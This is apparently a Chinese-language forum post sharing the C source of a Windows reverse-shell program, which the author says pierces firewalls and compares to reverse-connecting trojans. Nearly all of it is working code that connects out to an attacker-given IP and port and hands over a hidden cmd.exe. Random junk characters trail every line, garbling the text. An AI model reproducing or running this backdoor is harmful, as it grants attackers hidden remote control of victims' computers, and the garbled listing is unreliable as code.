这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 'qR)f\em
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/* ============================== )+;Xfftz
Rebound port in Windows NT mS)|i+5
By wind,2006/7 W&E?#=*X
===============================*/ \09m
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#include -'SpSy'_
#include Ql`N)!
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#pragma comment(lib,"wsock32.lib") VX+:k.}
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void OutputShell(); X2CpA;#;7l
SOCKET sClient; sfb)iH|sW
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; |~)!8N.{
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void main(int argc,char **argv) ]w7wwU^^*U
{ 5d ?\>dA
WSADATA stWsaData; 05o +VF;z
int nRet; sa8Q1i&%
SOCKADDR_IN stSaiClient,stSaiServer; TsiI5'tx
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if(argc != 3) IIj
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{ [wp(s2=
printf("Useage:\n\rRebound DestIP DestPort\n"); GYp}V0
return; C/34K(
} e`]x?t<U4/
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WSAStartup(MAKEWORD(2,2),&stWsaData); 2'>
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 2%!yV~Z
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stSaiClient.sin_family = AF_INET; "rHcsuSEw
stSaiClient.sin_port = htons(0); LN=6u
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); a!?JVhD&
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) tfz"9PV80
{ mz-sazgV
printf("Bind Socket Failed!\n"); _!qi`A
return; :v$][jZ2
} nF"NXYa
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stSaiServer.sin_family = AF_INET; msf%i !
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); t%S2D
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); 7XM:4whw
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) luvxwved
{ $kAal26 z
printf("Connect Error!"); 3Gk\3iU!
return; Z'!Ii+'6
} pB(|Y]3A
OutputShell(); =lb5 #
} }Od=WQv+
#(Xv\OE
void OutputShell() AHB_[i'>7
{ z^,P2kqK_
char szBuff[1024]; %fJ~3mu
SECURITY_ATTRIBUTES stSecurityAttributes; _P}wO8
OSVERSIONINFO stOsversionInfo; >;^t)6
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; /#Fz
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STARTUPINFO stStartupInfo; K=K]R01/o
char *szShell; 4tA`,}ywPq
PROCESS_INFORMATION stProcessInformation; P7`RAz
unsigned long lBytesRead; O3/w@q Q
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); '&LH9r
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); KA/~q"N
stSecurityAttributes.lpSecurityDescriptor = 0; (C9{|T+h
stSecurityAttributes.bInheritHandle = TRUE; :|&S7&l]
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); F2)\%HR
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); |U:VkiKt
{ POfT
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); qsG}A
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; yd=NafPM
stStartupInfo.wShowWindow = SW_HIDE; ]39])ul
stStartupInfo.hStdInput = hReadPipe; <^n@q f}
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; wn Q% 'Eo
nN'>>'@>
GetVersionEx(&stOsversionInfo); uY;7&Lw
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switch(stOsversionInfo.dwPlatformId) cgV5{|P
{ c&"OhzzJK'
case 1: ET\>cxSp
szShell = "command.com"; werTwe2Q
break; E0t%]?1
default: UA3!28Y&E3
szShell = "cmd.exe";
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break; a/Ik^:>m
} Nm{J=`
-Pp =)_O
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); :"Gd;~p.
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send(sClient,szMsg,77,0); U6IvN@
g
while(1) [M#I Nm}
{ *|B5,Ey
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); gR76g4|=;
if(lBytesRead) u
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{ W<\*5oB%H
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); lz:+y/+1
send(sClient,szBuff,lBytesRead,0); __Egr@
} gg?O0W{
else LZ4Z]!V
{ _]Y9Eoz
lBytesRead=recv(sClient,szBuff,1024,0); vSv:!5*
if(lBytesRead<=0) break; j"Z9}F@
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); '>Uip+'
} Hdda/?{b
} zlhU[J}"1|
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return; F7&Oc)f"B
}